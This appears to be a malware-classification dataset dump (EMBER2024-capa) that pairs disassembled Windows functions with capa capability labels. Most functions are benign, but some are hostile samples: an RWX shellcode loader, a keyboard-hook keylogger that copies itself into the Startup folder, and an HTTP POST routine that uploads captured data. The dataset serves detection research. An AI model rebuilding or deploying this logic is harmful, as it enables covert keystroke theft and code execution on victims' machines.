joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1400026f0
Capabilities:
Enumerate pe sections

Disassembly:
movsxd rax, dword [rcx + 0x3c]
add rcx, rax
movzx eax, word [rcx + 0x14]
lea rax, [rcx + rax + 0x18]
movzx ecx, word [rcx + 6]
test ecx, ecx
je 0x140002735
sub ecx, 1
lea rcx, [rcx + rcx*4]
lea r9, [rax + rcx*8 + 0x28]
nop dword [rax]
mov r8d, dword [rax + 0xc]
mov rcx, r8
cmp r8, rdx
ja 0x14000272c
add ecx, dword [rax + 8]
cmp rcx, rdx
ja 0x140002737
add rax, 0x28
cmp rax, r9
jne 0x140002718
xor eax, eax
ret

Function at 0x140002740
Capabilities:
Parse pe header

Disassembly:
push r12
push rsi
push rbx
sub rsp, 0x20
mov rbx, rcx
call sym.strlen
cmp rax, 8
ja 0x1400027d0
mov rdx, qword [0x140004430]
xor r12d, r12d
cmp word [rdx], 0x5a4d
jne 0x1400027be
movsxd rax, dword [rdx + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
jne 0x1400027be
cmp word [rax + 0x18], 0x20b
jne 0x1400027be
movzx edx, word [rax + 0x14]
lea r12, [rax + rdx + 0x18]
movzx eax, word [rax + 6]
test eax, eax
je 0x1400027d0
sub eax, 1
lea rax, [rax + rax*4]
lea rsi, [r12 + rax*8 + 0x28]
jmp 0x1400027a9
add r12, 0x28
cmp r12, rsi
je 0x1400027d0
mov r8d, 8
mov rdx, rbx
mov rcx, r12
call sym.strncmp
test eax, eax
jne 0x1400027a0
mov rax, r12
add rsp, 0x20
pop rbx
pop rsi
pop r12
ret
xor r12d, r12d
mov rax, r12
add rsp, 0x20
pop rbx
pop rsi
pop r12
ret

Function at 0x1400027e0
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x140004430]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x140002800
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x140002808
ret
cmp word [r8 + 0x18], 0x20b
jne 0x140002800
movzx eax, word [r8 + 0x14]
sub rcx, rdx
movzx edx, word [r8 + 6]
lea rax, [r8 + rax + 0x18]
test edx, edx
je 0x140002855
sub edx, 1
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop dword [rax + rax]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x14000284c
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x140002800
add rax, 0x28
cmp rax, r9
jne 0x140002838
xor eax, eax
ret

Function at 0x140002860
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x140004430]
xor r8d, r8d
cmp word [rax], 0x5a4d
jne 0x140002880
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x140002888
mov eax, r8d
ret
cmp word [rax + 0x18], 0x20b
jne 0x140002880
movzx r8d, word [rax + 6]
mov eax, r8d
ret

Function at 0x1400028a0
Capabilities:
Parse pe header

Disassembly:
mov r8, qword [0x140004430]
xor eax, eax
cmp word [r8], 0x5a4d
jne 0x1400028c0
movsxd rdx, dword [r8 + 0x3c]
add rdx, r8
cmp dword [rdx], 0x4550
je 0x1400028c8
ret
cmp word [rdx + 0x18], 0x20b
jne 0x1400028c0
movzx eax, word [rdx + 0x14]
lea rax, [rdx + rax + 0x18]
movzx edx, word [rdx + 6]
test edx, edx
je 0x140002908
sub edx, 1
lea rdx, [rdx + rdx*4]
lea rdx, [rax + rdx*8 + 0x28]
nop dword [rax]
test byte [rax + 0x27], 0x20
je 0x1400028ff
test rcx, rcx
je 0x1400028c0
sub rcx, 1
add rax, 0x28
cmp rax, rdx
jne 0x1400028f0
xor eax, eax
ret
Function at 0x140002910
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x140004430]
xor r8d, r8d
cmp word [rax], 0x5a4d
jne 0x140002930
movsxd rdx, dword [rax + 0x3c]
add rdx, rax
cmp dword [rdx], 0x4550
je 0x140002938
mov rax, r8
ret
cmp word [rdx + 0x18], 0x20b
cmove r8, rax
mov rax, r8
ret

Function at 0x140002950
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x140004430]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x140002970
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x140002978
ret
cmp word [r8 + 0x18], 0x20b
jne 0x140002970
sub rcx, rdx
movzx edx, word [r8 + 0x14]
lea rdx, [r8 + rdx + 0x18]
movzx r8d, word [r8 + 6]
test r8d, r8d
je 0x140002970
lea eax, [r8 - 1]
lea rax, [rax + rax*4]
lea r9, [rdx + rax*8 + 0x28]
nop dword [rax]
mov r8d, dword [rdx + 0xc]
mov rax, r8
cmp rcx, r8
jb 0x1400029bc
add eax, dword [rdx + 8]
cmp rcx, rax
jb 0x1400029d0
add rdx, 0x28
cmp rdx, r9
jne 0x1400029a8
xor eax, eax
ret
mov eax, dword [rdx + 0x24]
not eax
shr eax, 0x1f
ret

Function at 0x1400029e0
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov r11, qword [0x140004430]
xor r9d, r9d
cmp word [r11], 0x5a4d
jne 0x140002a02
movsxd r8, dword [r11 + 0x3c]
add r8, r11
cmp dword [r8], 0x4550
je 0x140002a10
mov rax, r9
ret
cmp word [r8 + 0x18], 0x20b
jne 0x140002a02
mov eax, dword [r8 + 0x90]
test eax, eax
je 0x140002a02
movzx edx, word [r8 + 0x14]
lea rdx, [r8 + rdx + 0x18]
movzx r8d, word [r8 + 6]
test r8d, r8d
je 0x140002a02
sub r8d, 1
lea r8, [r8 + r8*4]
lea r10, [rdx + r8*8 + 0x28]
nop dword [rax]
mov r9d, dword [rdx + 0xc]
mov r8, r9
cmp rax, r9
jb 0x140002a5d
add r8d, dword [rdx + 8]
cmp rax, r8
jb 0x140002a70
add rdx, 0x28
cmp r10, rdx
jne 0x140002a48
xor r9d, r9d
mov rax, r9
ret
add rax, r11
jmp 0x140002a7f
sub ecx, 1
add rax, 0x14
mov r8d, dword [rax + 4]
test r8d, r8d
jne 0x140002a8f
mov edx, dword [rax + 0xc]
test edx, edx
je 0x140002a66
test ecx, ecx
jg 0x140002a78
mov r9d, dword [rax + 0xc]
add r9, r11
mov rax, r9
ret

Function at 0x140001000
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push rbx
sub rsp, 0x20
xor ecx, ecx
mov edx, 0x62400
mov r8d, 0x1000
lea r9d, [rcx + 0x40]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8d, 0x62400
lea rdx, [0x140003040]
mov rcx, rax
mov rbx, rax
call sub.VCRUNTIME140.dll_memcpy
call rbx
xor eax, eax
add rsp, 0x20
pop rbx
ret
Function at 0x140002600
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
push rdi
cmp dword [0x1400874b4], 0
lea rdi, [0x1400874b0]
mov r11d, r8d
mov r9d, edx
mov r10, rcx
jne 0x1400026d8
mov qword [rsp + 0x10], rbx
xor edx, edx
mov rbx, rdi
nop dword [rax]
mov r8d, edx
lea rbx, [rbx + 4]
and r8d, 1
mov eax, edx
shr eax, 1
neg r8d
and r8d, 0xedb88320
inc edx
xor r8d, eax
mov eax, r8d
shr r8d, 1
and eax, 1
neg eax
and eax, 0xedb88320
xor eax, r8d
mov ecx, eax
shr eax, 1
and ecx, 1
neg ecx
and ecx, 0xedb88320
xor ecx, eax
mov eax, ecx
shr ecx, 1
and eax, 1
neg eax
and eax, 0xedb88320
xor eax, ecx
mov ecx, eax
shr eax, 1
and ecx, 1
neg ecx
and ecx, 0xedb88320
xor ecx, eax
mov eax, ecx
shr ecx, 1
and eax, 1
neg eax
and eax, 0xedb88320
xor eax, ecx
mov ecx, eax
shr eax, 1
and ecx, 1
neg ecx
and ecx, 0xedb88320
xor ecx, eax
mov eax, ecx
shr ecx, 1
and eax, 1
neg eax
and eax, 0xedb88320
xor eax, ecx
mov dword [rbx - 4], eax
cmp edx, 0x100
jb 0x140002630
mov rbx, qword [rsp + 0x10]
not r11d
mov eax, r11d
test r9d, r9d
jle 0x14000270e
nop dword [rax]
nop word [rax + rax]
movzx ecx, byte [r10]
lea r10, [r10 + 1]
movzx edx, al
xor rdx, rcx
shr eax, 8
xor eax, dword [rdi + rdx*4]
sub r9d, 1
jne 0x1400026f0
not eax
pop rdi
ret
movzx r9d, byte [r10]
lea r8, [r10 + 1]
test r9b, r9b
je 0x14000274f
nop dword [rax + rax]
cmp r9b, 0x23
jne 0x140002733
cmp byte [r8], r9b
jne 0x140002733
cmp byte [r8 + 1], r9b
cmove eax, r11d
movzx edx, al
movzx ecx, r9b
movzx r9d, byte [r8]
xor rdx, rcx
shr eax, 8
inc r8
xor eax, dword [rdi + rdx*4]
test r9b, r9b
jne 0x140002720
not eax
pop rdi
ret
Function at 0x140011460
Capabilities:
Write file on windows

Disassembly:
push rsi
push rdi
push r15
sub rsp, 0x20
mov rdi, qword [0x140086fb0]
xor esi, esi
mov r15, rcx
mov dword [rdi + 0x2d9c], esi
test rcx, rcx
je 0x14001158a
mov qword [rsp + 0x40], rbx
lea rbx, [rdi + 0x2da0]
mov dword [rdi + 0x2d9c], esi
mov r8d, dword [rbx + 4]
mov qword [rsp + 0x48], rbp
test r8d, r8d
jns 0x1400114be
mov eax, r8d
mov rcx, rbx
cdq
sub eax, edx
mov edx, esi
sar eax, 1
add eax, r8d
test eax, eax
cmovg edx, eax
call fcn.140012490
mov eax, esi
mov dword [rbx], esi
cmp dword [rbx + 4], eax
jne 0x1400114d6
mov edx, 8
mov rcx, rbx
call fcn.140012490
mov eax, dword [rbx]
movsxd rcx, eax
mov ebp, esi
mov rax, qword [rbx + 8]
mov byte [rcx + rax], sil
inc dword [rbx]
cmp dword [rdi + 0x2db0], esi
jle 0x14001152a
mov qword [rsp + 0x50], r14
mov r14, rsi
nop word [rax + rax]
mov r9, qword [rdi + 0x2db8]
mov r8, rbx
add r9, r14
mov rcx, rdi
mov rdx, r9
call qword [r9 + 0x20]
inc ebp
add r14, 0x30
cmp ebp, dword [rdi + 0x2db0]
jl 0x140011500
mov r14, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x48]
cmp qword [rbx + 8], rsi
je 0x140011539
mov esi, dword [rbx]
dec esi
mov rax, qword [rdi + 0x2da8]
lea rdx, [0x140039a04]
test rax, rax
movsxd rsi, esi
lea rdi, [0x140086fa8]
mov rcx, r15
cmovne rdi, rax
call fcn.140002760
mov rbx, rax
test rax, rax
je 0x140011585
mov r9, rax
mov r8, rsi
mov edx, 1
mov rcx, rdi
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
mov rbx, qword [rsp + 0x40]
add rsp, 0x20
pop r15
pop rdi
pop rsi
ret
Function at 0x14001ccd0
Capabilities:
Resolve function by parsing pe exports

Disassembly:
test r9d, 0xff000000
je 0x14001ce87
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x40
movss xmm3, dword [rsp + 0x70]
xorps xmm0, xmm0
comiss xmm3, xmm0
mov esi, r9d
mov rdi, r8
mov rbp, rdx
mov rbx, rcx
jbe 0x14001cd66
mov eax, dword [rsp + 0x78]
mov dword [rsp + 0x20], eax
call fcn.14001c6b0
mov r8d, dword [rbx + 0x80]
mov r9d, esi
mov rdx, qword [rbx + 0x88]
mov rcx, rbx
call fcn.14001bcc0
mov ecx, dword [rbx + 0x84]
test ecx, ecx
jns 0x14001cd57
mov eax, ecx
cdq
sub eax, edx
xor edx, edx
sar eax, 1
add eax, ecx
lea rcx, [rbx + 0x80]
test eax, eax
cmovg edx, eax
call fcn.1400121e0
mov dword [rbx + 0x80], 0
jmp 0x14001ce73
mov edx, 6
movaps xmmword [rsp + 0x30], xmm6
lea r8d, [rdx - 2]
call fcn.14001abe0
movzx edx, word [rbx + 0x48]
mov rax, qword [rbx + 0x38]
movss xmm1, dword [rdi]
movss xmm2, dword [rbp + 4]
movss xmm3, dword [rbp]
lea ecx, [rdx + 1]
movss xmm6, dword [rax + 4]
movss xmm5, dword [rax]
movss xmm4, dword [rdi + 4]
mov rax, qword [rbx + 0x58]
mov word [rax], dx
mov rax, qword [rbx + 0x58]
mov word [rax + 2], cx
lea ecx, [rdx + 2]
mov rax, qword [rbx + 0x58]
mov word [rax + 4], cx
mov rax, qword [rbx + 0x58]
mov word [rax + 6], dx
add dx, 3
mov rax, qword [rbx + 0x58]
mov word [rax + 8], cx
mov rax, qword [rbx + 0x58]
mov word [rax + 0xa], dx
movsd xmm0, qword [rbp]
mov rax, qword [rbx + 0x50]
movsd qword [rax], xmm0
mov rax, qword [rbx + 0x50]
movss dword [rax + 8], xmm5
movss dword [rax + 0xc], xmm6
mov rax, qword [rbx + 0x50]
mov dword [rax + 0x10], esi
mov rax, qword [rbx + 0x50]
movss dword [rax + 0x14], xmm1
movss dword [rax + 0x18], xmm2
mov rax, qword [rbx + 0x50]
movss dword [rax + 0x1c], xmm5
movss dword [rax + 0x20], xmm6
mov rax, qword [rbx + 0x50]
mov dword [rax + 0x24], esi
movsd xmm0, qword [rdi]
mov rax, qword [rbx + 0x50]
movsd qword [rax + 0x28], xmm0
mov rax, qword [rbx + 0x50]
movss dword [rax + 0x30], xmm5
movss dword [rax + 0x34], xmm6
mov rax, qword [rbx + 0x50]
mov dword [rax + 0x38], esi
mov rax, qword [rbx + 0x50]
movss dword [rax + 0x3c], xmm3
movss dword [rax + 0x40], xmm4
mov rax, qword [rbx + 0x50]
movss dword [rax + 0x44], xmm5
movss dword [rax + 0x48], xmm6
mov rax, qword [rbx + 0x50]
movaps xmm6, xmmword [rsp + 0x30]
mov dword [rax + 0x4c], esi
add qword [rbx + 0x50], 0x50
add dword [rbx + 0x48], 4
add qword [rbx + 0x58], 0xc
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
add rsp, 0x40
pop rdi
ret
Function at 0x14002f170
Capabilities:
Encode data using xor
Terminate process

Disassembly:
sub rsp, 0x78
mov rax, qword [0x140086010]
xor rax, rsp
mov qword [rsp + 0x60], rax
lea rdx, [0x140087058]
mov ecx, 0x20
call qword [sym.imp.d3d9.dll_Direct3DCreate9Ex]
test eax, eax
jns 0x14002f1a5
mov ecx, 3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
mov eax, dword [0x140087074]
lea rdx, [0x140087460]
mov rcx, qword [0x140087058]
mov r9, qword [0x140087440]
mov qword [rsp + 0x30], rdx
lea rdx, [0x140086fe0]
mov qword [rsp + 0x80], rbx
xor ebx, ebx
mov dword [0x140086fe0], eax
mov eax, dword [0x140087070]
mov qword [rsp + 0x28], rdx
xor edx, edx
mov qword [0x140086fec], rbx
lea r8d, [rbx + 1]
mov qword [0x140086ff8], 1
mov qword [0x140087014], rbx
mov dword [0x14008701c], ebx
mov dword [0x140086fe4], eax
mov dword [0x140086fe8], 0x15
mov dword [0x140086ff4], ebx
mov dword [0x140087010], 0x50
mov dword [0x14008700c], 1
mov qword [0x140087000], r9
mov dword [0x140087008], 1
mov rax, qword [rcx]
mov qword [rsp + 0x88], rsi
mov qword [rsp + 0x70], rdi
mov dword [rsp + 0x20], 0x20
call qword [rax + 0x80]
call fcn.140004920
mov rsi, qword [0x140086fb0]
lea rcx, [0x140087400]
mov rdi, qword [0x140087440]
mov qword [rsi + 0x20], rbx
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
test eax, eax
je 0x14002f36e
lea rcx, [0x1400873f8]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
test eax, eax
je 0x14002f36e
mov rcx, qword [0x140086fb0]
lea rax, str.imgui_impl_win32
mov qword [0x1400873f0], rdi
or dword [rcx + 0xc], 6
mov qword [rcx + 0xd8], rax
mov qword [rcx + 0x108], rdi
mov dword [rcx + 0x3c], 9
mov dword [rcx + 0x40], 0x25
mov dword [rcx + 0x44], 0x27
mov dword [rcx + 0x48], 0x26
mov dword [rcx + 0x4c], 0x28
mov dword [rcx + 0x50], 0x21
mov dword [rcx + 0x54], 0x22
mov dword [rcx + 0x58], 0x24
mov dword [rcx + 0x5c], 0x23
mov dword [rcx + 0x60], 0x2d
mov dword [rcx + 0x64], 0x2e
mov dword [rcx + 0x68], 8
mov dword [rcx + 0x6c], 0x20
mov dword [rcx + 0x70], 0xd
mov dword [rcx + 0x74], 0x1b
mov dword [rcx + 0x78], 0x41
mov dword [rcx + 0x7c], 0x43
mov dword [rcx + 0x80], 0x56
mov dword [rcx + 0x84], 0x58
mov dword [rcx + 0x88], 0x59
mov dword [rcx + 0x8c], 0x5a
jmp 0x14002f375
mov rcx, qword [0x140086fb0]
mov rax, qword [0x140087460]
lea rdx, str.imgui_impl_dx9
mov qword [rcx + 0xe0], rdx
xor ecx, ecx
mov qword [0x1400873e0], rax
call fcn.140019c70
movdqa xmm0, xmmword [str.__4_]
mov rdi, qword [rsp + 0x70]
movdqu xmmword [rsp + 0x40], xmm0
mov dword [rsp + 0x50], 0xb1d012a
mov dword [rsp + 0x54], 0x1c121a1e
mov dword [rsp + 0x58], 0xf5f4511c
mov word [rsp + 0x5c], 0xe4
mov rcx, qword [rsi + 0xa0]
mov rsi, qword [rsp + 0x88]
nop dword [rax]
movsxd rdx, ebx
lea eax, [rbx + 0x66]
inc ebx
xor byte [rsp + rdx + 0x40], al
cmp ebx, 0x1d
jb 0x14002f3e0
movss xmm2, dword [0x14007f398]
lea rax, [0x14007e3e4]
lea rdx, [rsp + 0x40]
mov qword [rsp + 0x20], rax
mov byte [rsp + 0x5d], 0
call fcn.14001d8a0
mov rbx, qword [rsp + 0x80]
mov qword [0x140087068], rax
mov rcx, qword [rsp + 0x60]
xor rcx, rsp
call fcn.140036940
add rsp, 0x78
ret
Function at 0x140001330
Capabilities:
Connect socket
Initialize winsock library
Send data
Send data on socket
Send http request
Send http request with host header

Disassembly:
mov eax, 0x41e8
call fcn.140001fc0
sub rsp, rax
mov qword [rsp + 0x41e0], rcx
mov ecx, 0x202
lea rdx, [rsp + 0x4048]
call qword [sym.imp.WS2_32.dll_WSAStartup]
cmp eax, 0
je 0x140001372
lea rcx, str.Failed_to_initialize_Winsock._n
call fcn.140001c80
jmp 0x140001575
mov ecx, 2
mov edx, 1
xor r8d, r8d
call qword [sym.imp.WS2_32.dll_socket]
mov rcx, rax
mov rax, qword [rsp + 0x41e0]
mov qword [rax + 8], rcx
mov rax, qword [rsp + 0x41e0]
cmp qword [rax + 8], 0xffffffffffffffff
jne 0x1400013be
lea rcx, str.Failed_to_create_socket._n
call fcn.140001c80
call qword [sym.imp.WS2_32.dll_WSACleanup]
jmp 0x140001575
mov word [rsp + 0x4038], 2
mov ecx, 0x3a9d
call qword [sym.imp.WS2_32.dll_htons]
mov word [rsp + 0x403a], ax
lea rcx, str.127.0.0.1
call qword [sym.imp.WS2_32.dll_inet_addr]
mov dword [rsp + 0x403c], eax
mov rax, qword [rsp + 0x41e0]
mov rcx, qword [rax + 8]
lea rdx, [rsp + 0x4038]
mov r8d, send
call qword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x140001441
lea rcx, str.Failed_to_connect_to_the_server._n
call fcn.140001c80
mov rax, qword [rsp + 0x41e0]
mov rcx, qword [rax + 8]
call qword [sym.imp.WS2_32.dll_closesocket]
call qword [sym.imp.WS2_32.dll_WSACleanup]
jmp 0x140001575
mov rcx, qword [rsp + 0x41e0]
add rcx, 0x2810
call fcn.140005f70
mov dword [rsp + 0x4034], eax
mov r9d, dword [rsp + 0x4034]
lea rcx, [rsp + 0x30]
lea rdx, str.POST__upload_HTTP_1.1_r_nHost:__s_r_nContent_Length:__d_r_nContent_Type:_text_plain_r_n_r_n
lea r8, str.127.0.0.1
call fcn.140001c30
mov rdx, qword [rsp + 0x41e0]
add rdx, 0x2810
lea rcx, str._nData_Sent_to_Server_________:__s
call fcn.140001c80
lea rcx, [rsp + 0x30]
call fcn.140005f70
mov r8d, eax
lea rdx, [rsp + 0x30]
mov rax, qword [rsp + 0x41e0]
mov rcx, qword [rax + 8]
xor r9d, r9d
call qword [sym.imp.WS2_32.dll_send]
mov dword [rsp + 0x2c], eax
movsxd rax, dword [rsp + 0x2c]
mov qword [rsp + 0x20], rax
lea rcx, [rsp + 0x30]
call fcn.140005f70
mov rcx, rax
mov rax, qword [rsp + 0x20]
cmp rax, rcx
je 0x140001510
lea rcx, str.Failed_to_send_HTTP_header_to_server._n
call fcn.140001c80
mov rax, qword [rsp + 0x41e0]
mov rcx, qword [rax + 8]
call qword [sym.imp.WS2_32.dll_closesocket]
call qword [sym.imp.WS2_32.dll_WSACleanup]
jmp 0x140001575
mov r8d, dword [rsp + 0x4034]
mov rdx, qword [rsp + 0x41e0]
add rdx, 0x2810
mov rax, qword [rsp + 0x41e0]
mov rcx, qword [rax + 8]
xor r9d, r9d
call qword [sym.imp.WS2_32.dll_send]
mov dword [rsp + 0x28], eax
mov eax, dword [rsp + 0x28]
cmp eax, dword [rsp + 0x4034]
je 0x140001575
lea rcx, str.Failed_to_send_data_to_server._n
call fcn.140001c80
mov rax, qword [rsp + 0x41e0]
mov rcx, qword [rax + 8]
call qword [sym.imp.WS2_32.dll_closesocket]
call qword [sym.imp.WS2_32.dll_WSACleanup]
nop
add rsp, 0x41e8
ret
Function at 0x1400019d0
Capabilities:
Copy file
Get common file path
Initialize winsock library
Log keystrokes via application hook

Disassembly:
sub rsp, 0x548
mov dword [rsp + 0x544], 0
lea rdx, [rsp + 0x440]
xor eax, eax
mov ecx, eax
mov r8d, 0x104
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
cmp eax, 0
jne 0x140001a1f
lea rcx, [0x140018640]
call fcn.140001c80
mov dword [rsp + 0x544], 1
jmp 0x140001c14
lea rax, [rsp + 0x220]
xor ecx, ecx
mov r8d, ecx
mov edx, 0x28
xor r9d, r9d
mov rcx, r8
mov qword [rsp + 0x20], rax
call qword [sym.imp.SHELL32.dll_SHGetFolderPathA]
cmp eax, 0
jl 0x140001b31
lea r9, [rsp + 0x220]
lea rcx, [rsp + 0x330]
lea r8, str._sAppDataRoamingMicrosoftWindowsStart_MenuProgramsStartupwin.exe
mov edx, 0x104
call fcn.140001cf0
lea rdx, [rsp + 0x330]
lea rcx, [rsp + 0x440]
xor r8d, r8d
call qword [sym.imp.KERNEL32.dll_CopyFileA]
cmp eax, 0
jne 0x140001b20
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x21c], eax
mov r8d, dword [rsp + 0x21c]
mov ecx, 0x1100
xor eax, eax
mov edx, eax
xor r9d, r9d
lea rax, [rsp + 0x210]
mov qword [rsp + 0x20], rax
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x30], 0
call qword [sym.imp.KERNEL32.dll_FormatMessageA]
cmp qword [rsp + 0x210], 0
je 0x140001b08
mov edx, dword [rsp + 0x21c]
lea rcx, str.Failed_to_copy_the_executable_to_the_Startup_folder__Error_Code:__lu__n
call fcn.140001c80
mov rcx, qword [rsp + 0x210]
call qword [sym.imp.KERNEL32.dll_LocalFree]
jmp 0x140001b1b
mov edx, dword [rsp + 0x21c]
lea rcx, str.Failed_to_copy_the_executable_to_the_Startup_folder__Error_Code:__lu__n
call fcn.140001c80
jmp 0x140001b2c
lea rcx, str.Copy_of_the_executable_created_in_the_Startup_folder_n
call fcn.140001c80
jmp 0x140001b31
mov ecx, 0x202
lea rdx, [rsp + 0x78]
call qword [sym.imp.WS2_32.dll_WSAStartup]
cmp eax, 0
je 0x140001b66
lea rcx, str.Failed_to_initialize_Winsock._n
call fcn.140001c80
mov dword [rsp + 0x544], 1
jmp 0x140001c14
mov ecx, 0xd
lea rdx, [0x140001580]
xor eax, eax
mov r8d, eax
xor r9d, r9d
call qword [sym.imp.USER32.dll_SetWindowsHookExA]
mov qword [rsp + 0x70], rax
lea rcx, [rsp + 0x40]
xor eax, eax
mov edx, eax
xor r9d, r9d
mov r8d, r9d
call qword [sym.imp.USER32.dll_GetMessageA]
cmp eax, 0
je 0x140001bbe
lea rcx, [rsp + 0x40]
call qword [sym.imp.USER32.dll_TranslateMessage]
lea rcx, [rsp + 0x40]
call qword [sym.imp.USER32.dll_DispatchMessageA]
jmp 0x140001b85
cmp qword [rsp + 0x70], 0
jne 0x140001be6
lea rcx, str.Failed_to_set_up_the_keyboard_hook._n
call fcn.140001c80
mov dword [rsp + 0x544], 1
jmp 0x140001c14
lea rcx, str.Keylogger_started._Press_CtrlQ_to_exit..._n
call fcn.140001c80
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.USER32.dll_UnhookWindowsHookEx]
lea rcx, str.Exiting_the_program._n
call fcn.140001c80
mov dword [rsp + 0x544], 0
mov eax, dword [rsp + 0x544]
add rsp, 0x548
ret
Function at 0x140002748
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140002792
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140002792
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140002792
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140002792
cmp dword [rcx + 0x84], 0xe
jbe 0x140002792
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140002794
xor al, al
add rsp, 0x28
ret

Function at 0x140009b18
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x140009908
Function at 0x14000edec
Capabilities:
Query environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x40
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor esi, esi
mov rbx, rax
test rax, rax
jne 0x14000ee1c
xor eax, eax
jmp 0x14000eedf
mov rbp, rbx
cmp word [rax], si
je 0x14000ee41
or rax, 0xffffffffffffffff
inc rax
cmp word [rbp + rax*2], si
jne 0x14000ee28
lea rbp, [rbp + rax*2]
add rbp, 2
cmp word [rbp], si
jne 0x14000ee24
mov qword [rsp + 0x38], rsi
sub rbp, rbx
mov qword [rsp + 0x30], rsi
add rbp, 2
sar rbp, 1
mov r8, rbx
mov r9d, ebp
mov dword [rsp + 0x28], esi
xor edx, edx
mov qword [rsp + 0x20], rsi
xor ecx, ecx
call fcn.14000ed3c
movsxd r14, eax
test eax, eax
jne 0x14000ee7f
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
jmp 0x14000ee15
mov rcx, r14
call fcn.14000a41c
mov rdi, rax
test rax, rax
jne 0x14000ee98
xor ecx, ecx
call fcn.14000a47c
jmp 0x14000ee74
mov qword [rsp + 0x38], rsi
mov r9d, ebp
mov qword [rsp + 0x30], rsi
mov r8, rbx
mov dword [rsp + 0x28], r14d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rdi
call fcn.14000ed3c
test eax, eax
jne 0x14000eec9
mov rcx, rdi
call fcn.14000a47c
jmp 0x14000eed3
xor ecx, ecx
call fcn.14000a47c
mov rsi, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rsi
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
add rsp, 0x40
pop r14
ret